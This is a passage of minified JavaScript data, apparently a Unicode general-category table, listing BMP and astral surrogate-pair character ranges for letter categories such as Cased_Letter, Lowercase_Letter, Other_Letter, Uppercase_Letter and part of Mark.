ⶖⶠ-ⶦⶨ-ⶮⶰ-ⶶⶸ-ⶾⷀ-ⷆⷈ-ⷎⷐ-ⷖⷘ-ⷞⸯ々〆〱-〵〻〼ぁ-ゖゝ-ゟァ-ヺー-ヿㄅ-ㄯㄱ-ㆎㆠ-ㆿㇰ-ㇿ㐀-䶿一-ꒌꓐ-ꓽꔀ-ꘌꘐ-ꘟꘪꘫꙀ-ꙮꙿ-ꚝꚠ-ꛥꜗ-ꜟꜢ-ꞈꞋ-ꟊꟐꟑꟓꟕ-ꟙꟲ-ꠁꠃ-ꠅꠇ-ꠊꠌ-ꠢꡀ-ꡳꢂ-ꢳꣲ-ꣷꣻꣽꣾꤊ-ꤥꤰ-ꥆꥠ-ꥼꦄ-ꦲꧏꧠ-ꧤꧦ-ꧯꧺ-ꧾꨀ-ꨨꩀ-ꩂꩄ-ꩋꩠ-ꩶꩺꩾ-ꪯꪱꪵꪶꪹ-ꪽꫀꫂꫛ-ꫝꫠ-ꫪꫲ-ꫴꬁ-ꬆꬉ-ꬎꬑ-ꬖꬠ-ꬦꬨ-ꬮꬰ-ꭚꭜ-ꭩꭰ-ꯢ가-힣ힰ-ퟆퟋ-ퟻ豈-舘並-龎ff-stﬓ-ﬗיִײַ-ﬨשׁ-זּטּ-לּמּנּסּףּפּצּ-ﮱﯓ-ﴽﵐ-ﶏﶒ-ﷇﷰ-ﷻﹰ-ﹴﹶ-ﻼA-Za-zヲ-하-ᅦᅧ-ᅬᅭ-ᅲᅳ-ᅵ",astral:"\ud800[\udc00-\udc0b\udc0d-\udc26\udc28-\udc3a\udc3c\udc3d\udc3f-\udc4d\udc50-\udc5d\udc80-\udcfa\ude80-\ude9c\udea0-\uded0\udf00-\udf1f\udf2d-\udf40\udf42-\udf49\udf50-\udf75\udf80-\udf9d\udfa0-\udfc3\udfc8-\udfcf]|\ud801[\udc00-\udc9d\udcb0-\udcd3\udcd8-\udcfb\udd00-\udd27\udd30-\udd63\udd70-\udd7a\udd7c-\udd8a\udd8c-\udd92\udd94\udd95\udd97-\udda1\udda3-\uddb1\uddb3-\uddb9\uddbb\uddbc\ude00-\udf36\udf40-\udf55\udf60-\udf67\udf80-\udf85\udf87-\udfb0\udfb2-\udfba]|\ud802[\udc00-\udc05\udc08\udc0a-\udc35\udc37\udc38\udc3c\udc3f-\udc55\udc60-\udc76\udc80-\udc9e\udce0-\udcf2\udcf4\udcf5\udd00-\udd15\udd20-\udd39\udd80-\uddb7\uddbe\uddbf\ude00\ude10-\ude13\ude15-\ude17\ude19-\ude35\ude60-\ude7c\ude80-\ude9c\udec0-\udec7\udec9-\udee4\udf00-\udf35\udf40-\udf55\udf60-\udf72\udf80-\udf91]|\ud803[\udc00-\udc48\udc80-\udcb2\udcc0-\udcf2\udd00-\udd23\ude80-\udea9\udeb0\udeb1\udf00-\udf1c\udf27\udf30-\udf45\udf70-\udf81\udfb0-\udfc4\udfe0-\udff6]|\ud804[\udc03-\udc37\udc71\udc72\udc75\udc83-\udcaf\udcd0-\udce8\udd03-\udd26\udd44\udd47\udd50-\udd72\udd76\udd83-\uddb2\uddc1-\uddc4\uddda\udddc\ude00-\ude11\ude13-\ude2b\ude80-\ude86\ude88\ude8a-\ude8d\ude8f-\ude9d\ude9f-\udea8\udeb0-\udede\udf05-\udf0c\udf0f\udf10\udf13-\udf28\udf2a-\udf30\udf32\udf33\udf35-\udf39\udf3d\udf50\udf5d-\udf61]|\ud805[\udc00-\udc34\udc47-\udc4a\udc5f-\udc61\udc80-\udcaf\udcc4\udcc5\udcc7\udd80-\uddae\uddd8-\udddb\ude00-\ude2f\ude44\ude80-\udeaa\udeb8\udf00-\udf1a\udf40-\udf46]|\ud806[\udc00-\udc2b\udca0-\udcdf\udcff-\udd06\udd09\udd0c-\udd13\udd15\udd16\udd18-\udd2f\udd3f\udd41\udda0-\udda7\uddaa-\uddd0\udde1\udde3\ude00\ude0b-\ude32\ude3a\ude50\ude5c-\ude89\ude9d\udeb0-\udef8]|\ud807[\udc00-\udc08\udc0a-\udc2e\udc40\udc72-\udc8f\udd00-\udd06\udd08\udd09\udd0b-\udd30\udd46\udd60-\udd65\udd67\udd68\udd6a-\udd89\udd98\udee0-\udef2\udfb0]|\ud808[\udc00-\udf99]|\ud809[\udc80-\udd43]|\ud80b[\udf90-\udff0]|[\ud80c\ud81c-\ud820\ud822\ud840-\ud868\ud86a-\ud86c\ud86f-\ud872\ud874-\ud879\ud880-\ud883][\udc00-\udfff]|\ud80d[\udc00-\udc2e]|\ud811[\udc00-\ude46]|\ud81a[\udc00-\ude38\ude40-\ude5e\ude70-\udebe\uded0-\udeed\udf00-\udf2f\udf40-\udf43\udf63-\udf77\udf7d-\udf8f]|\ud81b[\ude40-\ude7f\udf00-\udf4a\udf50\udf93-\udf9f\udfe0\udfe1\udfe3]|\ud821[\udc00-\udff7]|\ud823[\udc00-\udcd5\udd00-\udd08]|\ud82b[\udff0-\udff3\udff5-\udffb\udffd\udffe]|\ud82c[\udc00-\udd22\udd50-\udd52\udd64-\udd67\udd70-\udefb]|\ud82f[\udc00-\udc6a\udc70-\udc7c\udc80-\udc88\udc90-\udc99]|\ud835[\udc00-\udc54\udc56-\udc9c\udc9e\udc9f\udca2\udca5\udca6\udca9-\udcac\udcae-\udcb9\udcbb\udcbd-\udcc3\udcc5-\udd05\udd07-\udd0a\udd0d-\udd14\udd16-\udd1c\udd1e-\udd39\udd3b-\udd3e\udd40-\udd44\udd46\udd4a-\udd50\udd52-\udea5\udea8-\udec0\udec2-\udeda\udedc-\udefa\udefc-\udf14\udf16-\udf34\udf36-\udf4e\udf50-\udf6e\udf70-\udf88\udf8a-\udfa8\udfaa-\udfc2\udfc4-\udfcb]|\ud837[\udf00-\udf1e]|\ud838[\udd00-\udd2c\udd37-\udd3d\udd4e\ude90-\udead\udec0-\udeeb]|\ud839[\udfe0-\udfe6\udfe8-\udfeb\udfed\udfee\udff0-\udffe]|\ud83a[\udc00-\udcc4\udd00-\udd43\udd4b]|\ud83b[\ude00-\ude03\ude05-\ude1f\ude21\ude22\ude24\ude27\ude29-\ude32\ude34-\ude37\ude39\ude3b\ude42\ude47\ude49\ude4b\ude4d-\ude4f\ude51\ude52\ude54\ude57\ude59\ude5b\ude5d\ude5f\ude61\ude62\ude64\ude67-\ude6a\ude6c-\ude72\ude74-\ude77\ude79-\ude7c\ude7e\ude80-\ude89\ude8b-\ude9b\udea1-\udea3\udea5-\udea9\udeab-\udebb]|\ud869[\udc00-\udedf\udf00-\udfff]|\ud86d[\udc00-\udf38\udf40-\udfff]|\ud86e[\udc00-\udc1d\udc20-\udfff]|\ud873[\udc00-\udea1\udeb0-\udfff]|\ud87a[\udc00-\udfe0]|\ud87e[\udc00-\ude1d]|\ud884[\udc00-\udf4a]"},{name:"LC",alias:"Cased_Letter",bmp:"A-Za-zµÀ-ÖØ-öø-ƺƼ-ƿDŽ-ʓʕ-ʯͰ-ͳͶͷͻ-ͽͿΆΈ-ΊΌΎ-ΡΣ-ϵϷ-ҁҊ-ԯԱ-Ֆՠ-ֈႠ-ჅჇჍა-ჺჽ-ჿᎠ-Ᏽᏸ-ᏽᲀ-ᲈᲐ-ᲺᲽ-Ჿᴀ-ᴫᵫ-ᵷᵹ-ᶚḀ-ἕἘ-Ἕἠ-ὅὈ-Ὅὐ-ὗὙὛὝὟ-ώᾀ-ᾴᾶ-ᾼιῂ-ῄῆ-ῌῐ-ΐῖ-Ίῠ-Ῥῲ-ῴῶ-ῼℂℇℊ-ℓℕℙ-ℝℤΩℨK-ℭℯ-ℴℹℼ-ℿⅅ-ⅉⅎↃↄⰀ-ⱻⱾ-ⳤⳫ-ⳮⳲⳳⴀ-ⴥⴧⴭꙀ-ꙭꚀ-ꚛꜢ-ꝯꝱ-ꞇꞋ-ꞎꞐ-ꟊꟐꟑꟓꟕ-ꟙꟵꟶꟺꬰ-ꭚꭠ-ꭨꭰ-ꮿff-stﬓ-ﬗA-Za-z",astral:"\ud801[\udc00-\udc4f\udcb0-\udcd3\udcd8-\udcfb\udd70-\udd7a\udd7c-\udd8a\udd8c-\udd92\udd94\udd95\udd97-\udda1\udda3-\uddb1\uddb3-\uddb9\uddbb\uddbc]|\ud803[\udc80-\udcb2\udcc0-\udcf2]|\ud806[\udca0-\udcdf]|\ud81b[\ude40-\ude7f]|\ud835[\udc00-\udc54\udc56-\udc9c\udc9e\udc9f\udca2\udca5\udca6\udca9-\udcac\udcae-\udcb9\udcbb\udcbd-\udcc3\udcc5-\udd05\udd07-\udd0a\udd0d-\udd14\udd16-\udd1c\udd1e-\udd39\udd3b-\udd3e\udd40-\udd44\udd46\udd4a-\udd50\udd52-\udea5\udea8-\udec0\udec2-\udeda\udedc-\udefa\udefc-\udf14\udf16-\udf34\udf36-\udf4e\udf50-\udf6e\udf70-\udf88\udf8a-\udfa8\udfaa-\udfc2\udfc4-\udfcb]|\ud837[\udf00-\udf09\udf0b-\udf1e]|\ud83a[\udd00-\udd43]"},{name:"Ll",alias:"Lowercase_Letter",bmp:"a-zµß-öø-ÿāăąćĉċčďđēĕėęěĝğġģĥħĩīĭįıijĵķĸĺļľŀłńņňʼnŋōŏőœŕŗřśŝşšţťŧũūŭůűųŵŷźżž-ƀƃƅƈƌƍƒƕƙ-ƛƞơƣƥƨƪƫƭưƴƶƹƺƽ-ƿdžljnjǎǐǒǔǖǘǚǜǝǟǡǣǥǧǩǫǭǯǰdzǵǹǻǽǿȁȃȅȇȉȋȍȏȑȓȕȗșțȝȟȡȣȥȧȩȫȭȯȱȳ-ȹȼȿɀɂɇɉɋɍɏ-ʓʕ-ʯͱͳͷͻ-ͽΐά-ώϐϑϕ-ϗϙϛϝϟϡϣϥϧϩϫϭϯ-ϳϵϸϻϼа-џѡѣѥѧѩѫѭѯѱѳѵѷѹѻѽѿҁҋҍҏґғҕҗҙқҝҟҡңҥҧҩҫҭүұҳҵҷҹһҽҿӂӄӆӈӊӌӎӏӑӓӕӗәӛӝӟӡӣӥӧөӫӭӯӱӳӵӷӹӻӽӿԁԃԅԇԉԋԍԏԑԓԕԗԙԛԝԟԡԣԥԧԩԫԭԯՠ-ֈა-ჺჽ-ჿᏸ-ᏽᲀ-ᲈᴀ-ᴫᵫ-ᵷᵹ-ᶚḁḃḅḇḉḋḍḏḑḓḕḗḙḛḝḟḡḣḥḧḩḫḭḯḱḳḵḷḹḻḽḿṁṃṅṇṉṋṍṏṑṓṕṗṙṛṝṟṡṣṥṧṩṫṭṯṱṳṵṷṹṻṽṿẁẃẅẇẉẋẍẏẑẓẕ-ẝẟạảấầẩẫậắằẳẵặẹẻẽếềểễệỉịọỏốồổỗộớờởỡợụủứừửữựỳỵỷỹỻỽỿ-ἇἐ-ἕἠ-ἧἰ-ἷὀ-ὅὐ-ὗὠ-ὧὰ-ώᾀ-ᾇᾐ-ᾗᾠ-ᾧᾰ-ᾴᾶᾷιῂ-ῄῆῇῐ-ΐῖῗῠ-ῧῲ-ῴῶῷℊℎℏℓℯℴℹℼℽⅆ-ⅉⅎↄⰰ-ⱟⱡⱥⱦⱨⱪⱬⱱⱳⱴⱶ-ⱻⲁⲃⲅⲇⲉⲋⲍⲏⲑⲓⲕⲗⲙⲛⲝⲟⲡⲣⲥⲧⲩⲫⲭⲯⲱⲳⲵⲷⲹⲻⲽⲿⳁⳃⳅⳇⳉⳋⳍⳏⳑⳓⳕⳗⳙⳛⳝⳟⳡⳣⳤⳬⳮⳳⴀ-ⴥⴧⴭꙁꙃꙅꙇꙉꙋꙍꙏꙑꙓꙕꙗꙙꙛꙝꙟꙡꙣꙥꙧꙩꙫꙭꚁꚃꚅꚇꚉꚋꚍꚏꚑꚓꚕꚗꚙꚛꜣꜥꜧꜩꜫꜭꜯ-ꜱꜳꜵꜷꜹꜻꜽꜿꝁꝃꝅꝇꝉꝋꝍꝏꝑꝓꝕꝗꝙꝛꝝꝟꝡꝣꝥꝧꝩꝫꝭꝯꝱ-ꝸꝺꝼꝿꞁꞃꞅꞇꞌꞎꞑꞓ-ꞕꞗꞙꞛꞝꞟꞡꞣꞥꞧꞩꞯꞵꞷꞹꞻꞽꞿꟁꟃꟈꟊꟑꟓꟕꟗꟙꟶꟺꬰ-ꭚꭠ-ꭨꭰ-ꮿff-stﬓ-ﬗa-z",astral:"\ud801[\udc28-\udc4f\udcd8-\udcfb\udd97-\udda1\udda3-\uddb1\uddb3-\uddb9\uddbb\uddbc]|\ud803[\udcc0-\udcf2]|\ud806[\udcc0-\udcdf]|\ud81b[\ude60-\ude7f]|\ud835[\udc1a-\udc33\udc4e-\udc54\udc56-\udc67\udc82-\udc9b\udcb6-\udcb9\udcbb\udcbd-\udcc3\udcc5-\udccf\udcea-\udd03\udd1e-\udd37\udd52-\udd6b\udd86-\udd9f\uddba-\uddd3\uddee-\ude07\ude22-\ude3b\ude56-\ude6f\ude8a-\udea5\udec2-\udeda\udedc-\udee1\udefc-\udf14\udf16-\udf1b\udf36-\udf4e\udf50-\udf55\udf70-\udf88\udf8a-\udf8f\udfaa-\udfc2\udfc4-\udfc9\udfcb]|\ud837[\udf00-\udf09\udf0b-\udf1e]|\ud83a[\udd22-\udd43]"},{name:"Lm",alias:"Modifier_Letter",bmp:"ʰ-ˁˆ-ˑˠ-ˤˬˮʹͺՙـۥۦߴߵߺࠚࠤࠨࣉॱๆໆჼៗᡃᪧᱸ-ᱽᴬ-ᵪᵸᶛ-ᶿⁱⁿₐ-ₜⱼⱽⵯⸯ々〱-〵〻ゝゞー-ヾꀕꓸ-ꓽꘌꙿꚜꚝꜗ-ꜟꝰꞈꟲ-ꟴꟸꟹꧏꧦꩰꫝꫳꫴꭜ-ꭟꭩー゙゚",astral:"\ud801[\udf80-\udf85\udf87-\udfb0\udfb2-\udfba]|\ud81a[\udf40-\udf43]|\ud81b[\udf93-\udf9f\udfe0\udfe1\udfe3]|\ud82b[\udff0-\udff3\udff5-\udffb\udffd\udffe]|\ud838[\udd37-\udd3d]|𞥋"},{name:"Lo",alias:"Other_Letter",bmp:"ªºƻǀ-ǃʔא-תׯ-ײؠ-ؿف-يٮٯٱ-ۓەۮۯۺ-ۼۿܐܒ-ܯݍ-ޥޱߊ-ߪࠀ-ࠕࡀ-ࡘࡠ-ࡪࡰ-ࢇࢉ-ࢎࢠ-ࣈऄ-हऽॐक़-ॡॲ-ঀঅ-ঌএঐও-নপ-রলশ-হঽৎড়ঢ়য়-ৡৰৱৼਅ-ਊਏਐਓ-ਨਪ-ਰਲਲ਼ਵਸ਼ਸਹਖ਼-ੜਫ਼ੲ-ੴઅ-ઍએ-ઑઓ-નપ-રલળવ-હઽૐૠૡૹଅ-ଌଏଐଓ-ନପ-ରଲଳଵ-ହଽଡ଼ଢ଼ୟ-ୡୱஃஅ-ஊஎ-ஐஒ-கஙசஜஞடணதந-பம-ஹௐఅ-ఌఎ-ఐఒ-నప-హఽౘ-ౚౝౠౡಀಅ-ಌಎ-ಐಒ-ನಪ-ಳವ-ಹಽೝೞೠೡೱೲഄ-ഌഎ-ഐഒ-ഺഽൎൔ-ൖൟ-ൡൺ-ൿඅ-ඖක-නඳ-රලව-ෆก-ะาำเ-ๅກຂຄຆ-ຊຌ-ຣລວ-ະາຳຽເ-ໄໜ-ໟༀཀ-ཇཉ-ཬྈ-ྌက-ဪဿၐ-ၕၚ-ၝၡၥၦၮ-ၰၵ-ႁႎᄀ-ቈቊ-ቍቐ-ቖቘቚ-ቝበ-ኈኊ-ኍነ-ኰኲ-ኵኸ-ኾዀዂ-ዅወ-ዖዘ-ጐጒ-ጕጘ-ፚᎀ-ᎏᐁ-ᙬᙯ-ᙿᚁ-ᚚᚠ-ᛪᛱ-ᛸᜀ-ᜑᜟ-ᜱᝀ-ᝑᝠ-ᝬᝮ-ᝰក-ឳៜᠠ-ᡂᡄ-ᡸᢀ-ᢄᢇ-ᢨᢪᢰ-ᣵᤀ-ᤞᥐ-ᥭᥰ-ᥴᦀ-ᦫᦰ-ᧉᨀ-ᨖᨠ-ᩔᬅ-ᬳᭅ-ᭌᮃ-ᮠᮮᮯᮺ-ᯥᰀ-ᰣᱍ-ᱏᱚ-ᱷᳩ-ᳬᳮ-ᳳᳵᳶᳺℵ-ℸⴰ-ⵧⶀ-ⶖⶠ-ⶦⶨ-ⶮⶰ-ⶶⶸ-ⶾⷀ-ⷆⷈ-ⷎⷐ-ⷖⷘ-ⷞ〆〼ぁ-ゖゟァ-ヺヿㄅ-ㄯㄱ-ㆎㆠ-ㆿㇰ-ㇿ㐀-䶿一-ꀔꀖ-ꒌꓐ-ꓷꔀ-ꘋꘐ-ꘟꘪꘫꙮꚠ-ꛥꞏꟷꟻ-ꠁꠃ-ꠅꠇ-ꠊꠌ-ꠢꡀ-ꡳꢂ-ꢳꣲ-ꣷꣻꣽꣾꤊ-ꤥꤰ-ꥆꥠ-ꥼꦄ-ꦲꧠ-ꧤꧧ-ꧯꧺ-ꧾꨀ-ꨨꩀ-ꩂꩄ-ꩋꩠ-ꩯꩱ-ꩶꩺꩾ-ꪯꪱꪵꪶꪹ-ꪽꫀꫂꫛꫜꫠ-ꫪꫲꬁ-ꬆꬉ-ꬎꬑ-ꬖꬠ-ꬦꬨ-ꬮꯀ-ꯢ가-힣ힰ-ퟆퟋ-ퟻ豈-舘並-龎יִײַ-ﬨשׁ-זּטּ-לּמּנּסּףּפּצּ-ﮱﯓ-ﴽﵐ-ﶏﶒ-ﷇﷰ-ﷻﹰ-ﹴﹶ-ﻼヲ-ッア-ンᅠ-하-ᅦᅧ-ᅬᅭ-ᅲᅳ-ᅵ",astral:"\ud800[\udc00-\udc0b\udc0d-\udc26\udc28-\udc3a\udc3c\udc3d\udc3f-\udc4d\udc50-\udc5d\udc80-\udcfa\ude80-\ude9c\udea0-\uded0\udf00-\udf1f\udf2d-\udf40\udf42-\udf49\udf50-\udf75\udf80-\udf9d\udfa0-\udfc3\udfc8-\udfcf]|\ud801[\udc50-\udc9d\udd00-\udd27\udd30-\udd63\ude00-\udf36\udf40-\udf55\udf60-\udf67]|\ud802[\udc00-\udc05\udc08\udc0a-\udc35\udc37\udc38\udc3c\udc3f-\udc55\udc60-\udc76\udc80-\udc9e\udce0-\udcf2\udcf4\udcf5\udd00-\udd15\udd20-\udd39\udd80-\uddb7\uddbe\uddbf\ude00\ude10-\ude13\ude15-\ude17\ude19-\ude35\ude60-\ude7c\ude80-\ude9c\udec0-\udec7\udec9-\udee4\udf00-\udf35\udf40-\udf55\udf60-\udf72\udf80-\udf91]|\ud803[\udc00-\udc48\udd00-\udd23\ude80-\udea9\udeb0\udeb1\udf00-\udf1c\udf27\udf30-\udf45\udf70-\udf81\udfb0-\udfc4\udfe0-\udff6]|\ud804[\udc03-\udc37\udc71\udc72\udc75\udc83-\udcaf\udcd0-\udce8\udd03-\udd26\udd44\udd47\udd50-\udd72\udd76\udd83-\uddb2\uddc1-\uddc4\uddda\udddc\ude00-\ude11\ude13-\ude2b\ude80-\ude86\ude88\ude8a-\ude8d\ude8f-\ude9d\ude9f-\udea8\udeb0-\udede\udf05-\udf0c\udf0f\udf10\udf13-\udf28\udf2a-\udf30\udf32\udf33\udf35-\udf39\udf3d\udf50\udf5d-\udf61]|\ud805[\udc00-\udc34\udc47-\udc4a\udc5f-\udc61\udc80-\udcaf\udcc4\udcc5\udcc7\udd80-\uddae\uddd8-\udddb\ude00-\ude2f\ude44\ude80-\udeaa\udeb8\udf00-\udf1a\udf40-\udf46]|\ud806[\udc00-\udc2b\udcff-\udd06\udd09\udd0c-\udd13\udd15\udd16\udd18-\udd2f\udd3f\udd41\udda0-\udda7\uddaa-\uddd0\udde1\udde3\ude00\ude0b-\ude32\ude3a\ude50\ude5c-\ude89\ude9d\udeb0-\udef8]|\ud807[\udc00-\udc08\udc0a-\udc2e\udc40\udc72-\udc8f\udd00-\udd06\udd08\udd09\udd0b-\udd30\udd46\udd60-\udd65\udd67\udd68\udd6a-\udd89\udd98\udee0-\udef2\udfb0]|\ud808[\udc00-\udf99]|\ud809[\udc80-\udd43]|\ud80b[\udf90-\udff0]|[\ud80c\ud81c-\ud820\ud822\ud840-\ud868\ud86a-\ud86c\ud86f-\ud872\ud874-\ud879\ud880-\ud883][\udc00-\udfff]|\ud80d[\udc00-\udc2e]|\ud811[\udc00-\ude46]|\ud81a[\udc00-\ude38\ude40-\ude5e\ude70-\udebe\uded0-\udeed\udf00-\udf2f\udf63-\udf77\udf7d-\udf8f]|\ud81b[\udf00-\udf4a\udf50]|\ud821[\udc00-\udff7]|\ud823[\udc00-\udcd5\udd00-\udd08]|\ud82c[\udc00-\udd22\udd50-\udd52\udd64-\udd67\udd70-\udefb]|\ud82f[\udc00-\udc6a\udc70-\udc7c\udc80-\udc88\udc90-\udc99]|𝼊|\ud838[\udd00-\udd2c\udd4e\ude90-\udead\udec0-\udeeb]|\ud839[\udfe0-\udfe6\udfe8-\udfeb\udfed\udfee\udff0-\udffe]|\ud83a[\udc00-\udcc4]|\ud83b[\ude00-\ude03\ude05-\ude1f\ude21\ude22\ude24\ude27\ude29-\ude32\ude34-\ude37\ude39\ude3b\ude42\ude47\ude49\ude4b\ude4d-\ude4f\ude51\ude52\ude54\ude57\ude59\ude5b\ude5d\ude5f\ude61\ude62\ude64\ude67-\ude6a\ude6c-\ude72\ude74-\ude77\ude79-\ude7c\ude7e\ude80-\ude89\ude8b-\ude9b\udea1-\udea3\udea5-\udea9\udeab-\udebb]|\ud869[\udc00-\udedf\udf00-\udfff]|\ud86d[\udc00-\udf38\udf40-\udfff]|\ud86e[\udc00-\udc1d\udc20-\udfff]|\ud873[\udc00-\udea1\udeb0-\udfff]|\ud87a[\udc00-\udfe0]|\ud87e[\udc00-\ude1d]|\ud884[\udc00-\udf4a]"},{name:"Lt",alias:"Titlecase_Letter",bmp:"DžLjNjDzᾈ-ᾏᾘ-ᾟᾨ-ᾯᾼῌῼ"},{name:"Lu",alias:"Uppercase_Letter",bmp:"A-ZÀ-ÖØ-ÞĀĂĄĆĈĊČĎĐĒĔĖĘĚĜĞĠĢĤĦĨĪĬĮİIJĴĶĹĻĽĿŁŃŅŇŊŌŎŐŒŔŖŘŚŜŞŠŢŤŦŨŪŬŮŰŲŴŶŸŹŻŽƁƂƄƆƇƉ-ƋƎ-ƑƓƔƖ-ƘƜƝƟƠƢƤƦƧƩƬƮƯƱ-ƳƵƷƸƼDŽLJNJǍǏǑǓǕǗǙǛǞǠǢǤǦǨǪǬǮDZǴǶ-ǸǺǼǾȀȂȄȆȈȊȌȎȐȒȔȖȘȚȜȞȠȢȤȦȨȪȬȮȰȲȺȻȽȾɁɃ-ɆɈɊɌɎͰͲͶͿΆΈ-ΊΌΎΏΑ-ΡΣ-ΫϏϒ-ϔϘϚϜϞϠϢϤϦϨϪϬϮϴϷϹϺϽ-ЯѠѢѤѦѨѪѬѮѰѲѴѶѸѺѼѾҀҊҌҎҐҒҔҖҘҚҜҞҠҢҤҦҨҪҬҮҰҲҴҶҸҺҼҾӀӁӃӅӇӉӋӍӐӒӔӖӘӚӜӞӠӢӤӦӨӪӬӮӰӲӴӶӸӺӼӾԀԂԄԆԈԊԌԎԐԒԔԖԘԚԜԞԠԢԤԦԨԪԬԮԱ-ՖႠ-ჅჇჍᎠ-ᏵᲐ-ᲺᲽ-ᲿḀḂḄḆḈḊḌḎḐḒḔḖḘḚḜḞḠḢḤḦḨḪḬḮḰḲḴḶḸḺḼḾṀṂṄṆṈṊṌṎṐṒṔṖṘṚṜṞṠṢṤṦṨṪṬṮṰṲṴṶṸṺṼṾẀẂẄẆẈẊẌẎẐẒẔẞẠẢẤẦẨẪẬẮẰẲẴẶẸẺẼẾỀỂỄỆỈỊỌỎỐỒỔỖỘỚỜỞỠỢỤỦỨỪỬỮỰỲỴỶỸỺỼỾἈ-ἏἘ-ἝἨ-ἯἸ-ἿὈ-ὍὙὛὝὟὨ-ὯᾸ-ΆῈ-ΉῘ-ΊῨ-ῬῸ-Ώℂℇℋ-ℍℐ-ℒℕℙ-ℝℤΩℨK-ℭℰ-ℳℾℿⅅↃⰀ-ⰯⱠⱢ-ⱤⱧⱩⱫⱭ-ⱰⱲⱵⱾ-ⲀⲂⲄⲆⲈⲊⲌⲎⲐⲒⲔⲖⲘⲚⲜⲞⲠⲢⲤⲦⲨⲪⲬⲮⲰⲲⲴⲶⲸⲺⲼⲾⳀⳂⳄⳆⳈⳊⳌⳎⳐⳒⳔⳖⳘⳚⳜⳞⳠⳢⳫⳭⳲꙀꙂꙄꙆꙈꙊꙌꙎꙐꙒꙔꙖꙘꙚꙜꙞꙠꙢꙤꙦꙨꙪꙬꚀꚂꚄꚆꚈꚊꚌꚎꚐꚒꚔꚖꚘꚚꜢꜤꜦꜨꜪꜬꜮꜲꜴꜶꜸꜺꜼꜾꝀꝂꝄꝆꝈꝊꝌꝎꝐꝒꝔꝖꝘꝚꝜꝞꝠꝢꝤꝦꝨꝪꝬꝮꝹꝻꝽꝾꞀꞂꞄꞆꞋꞍꞐꞒꞖꞘꞚꞜꞞꞠꞢꞤꞦꞨꞪ-ꞮꞰ-ꞴꞶꞸꞺꞼꞾꟀꟂꟄ-ꟇꟉꟐꟖꟘꟵA-Z",astral:"\ud801[\udc00-\udc27\udcb0-\udcd3\udd70-\udd7a\udd7c-\udd8a\udd8c-\udd92\udd94\udd95]|\ud803[\udc80-\udcb2]|\ud806[\udca0-\udcbf]|\ud81b[\ude40-\ude5f]|\ud835[\udc00-\udc19\udc34-\udc4d\udc68-\udc81\udc9c\udc9e\udc9f\udca2\udca5\udca6\udca9-\udcac\udcae-\udcb5\udcd0-\udce9\udd04\udd05\udd07-\udd0a\udd0d-\udd14\udd16-\udd1c\udd38\udd39\udd3b-\udd3e\udd40-\udd44\udd46\udd4a-\udd50\udd6c-\udd85\udda0-\uddb9\uddd4-\udded\ude08-\ude21\ude3c-\ude55\ude70-\ude89\udea8-\udec0\udee2-\udefa\udf1c-\udf34\udf56-\udf6e\udf90-\udfa8\udfca]|\ud83a[\udd00-\udd21]"},{name:"M",alias:"Mark",bmp:"̀-ͯ҃-҉֑-ׇֽֿׁׂׅׄؐ-ًؚ-ٰٟۖ-ۜ۟-۪ۤۧۨ-ܑۭܰ-݊ަ-ް߫-߽߳ࠖ-࠙ࠛ-ࠣࠥ-ࠧࠩ-࡙࠭-࡛࢘-࢟࣊-ࣣ࣡-ःऺ-़ा-ॏ॑-ॗॢॣঁ-ঃ়া-ৄেৈো-্ৗৢৣ৾ਁ-ਃ਼ਾ-ੂੇੈੋ-੍ੑੰੱੵઁ-ઃ઼ા-ૅે-ૉો-્ૢૣૺ-૿ଁ-ଃ଼ା-ୄେୈୋ-୍୕-ୗୢୣஂா-ூெ-ைொ-்ௗఀ-ఄ఼ా-ౄె-ైొ-్ౕౖౢౣಁ-ಃ಼ಾ-ೄೆ-ೈೊ-್ೕೖೢೣഀ-ഃ഻഼ാ-ൄെ-ൈൊ-്ൗൢൣඁ-ඃ්ා-ුූෘ-ෟෲෳัิ-ฺ็-๎ັິ-ຼ່-ໍ༹༘༙༵༷༾༿ཱ-྄྆྇ྍ-ྗྙ-ྼ࿆ါ-ှၖ-ၙၞ-ၠၢ-ၤၧ-ၭၱ-ၴႂ-ႍႏႚ-ႝ፝-፟ᜒ-᜕ᜲ-᜴ᝒᝓᝲᝳ឴-៓៝᠋-᠍᠏ᢅᢆᢩᤠ-ᤫᤰ-᤻ᨗ-ᨛᩕ-ᩞ᩠-᩿᩼᪰-ᫎᬀ-ᬄ᬴-᭄᭫-᭳ᮀ-ᮂᮡ-ᮭ᯦-᯳ᰤ-᰷᳐-᳔᳒-᳨᳭᳴᳷-᳹᷀-᷿⃐-⃰⳯-⵿⳱ⷠ-〪ⷿ-゙゚〯꙯-꙲ꙴ-꙽ꚞꚟ꛰꛱ꠂ꠆ꠋꠣ-ꠧ꠬ꢀꢁꢴ-ꣅ꣠-꣱ꣿꤦ-꤭ꥇ-꥓ꦀ-ꦃ꦳-꧀ꧥꨩ-ꨶꩃꩌꩍꩻ-ꩽꪰꪲ-ꪴꪷꪸꪾ꪿꫁ꫫ-ꫯꫵ꫶ꯣ-ꯪ꯬꯭ﬞ︀-️︠-︯",astral:"\ud800[\uddfd\udee0\udf76-\udf7a]|\ud802[\ude01-\ude03\ude05\ude06\ude0c-\ude0f\ude38-\ude3a\ude3f\udee5\udee6]|\ud803[\udd24-\udd27\udeab\udeac\udf46-\udf50\udf82-\udf85]|\ud804[\udc00-\udc02\udc38-\udc46\udc70\udc73\udc74\udc7f-\udc82\udcb0-\udcba\udcc2\udd00-\udd02\udd27-\udd34\udd45\udd46\udd73\udd80-\udd82\uddb3-\uddc0\uddc9-\uddcc\uddce\uddcf\ude2c-\ude37\ude3e\udedf-\udeea\udf00-\udf03\udf3b\udf3c\udf3e-\udf44\udf47\udf48\udf4b-\udf4d\udf57\udf62\udf63\udf66-\udf6c\udf70-\udf74]|\ud805[\udc35-\udc46\udc5e\udcb0-\udcc3\uddaf-\uddb5\uddb8-\uddc0\udddc\udddd\ude30-\ude40\udeab-\udeb7\udf1d-\udf2b]|\ud806[\udc2c-\udc3a\udd30-\udd35\udd37\udd38\udd3b-\udd3e\udd40\udd42\udd43\uddd1-\uddd7\uddda-\udde0\udde4\ude01-\ude0a\ude33-\ude39\ude3b-\ude3e\ude47\ude51-\ude5b\ude8a-\ude99]|\ud807[\udc2f-\udc36\udc38-\udc3f\udc92-\udca7\udca9-\udcb6\udd31-\udd36\udd3a\udd3c\udd3d\udd3f-\udd45\udd47\udd8a-\udd8e\udd90\udd91\udd93-\udd97\udef3-\udef6]|\ud81a[\udef0-\udef4\udf30-\udf36]|\ud81b[\udf4f\udf51-\udf87\udf8f-\udf92\udfe4\udff0\udff1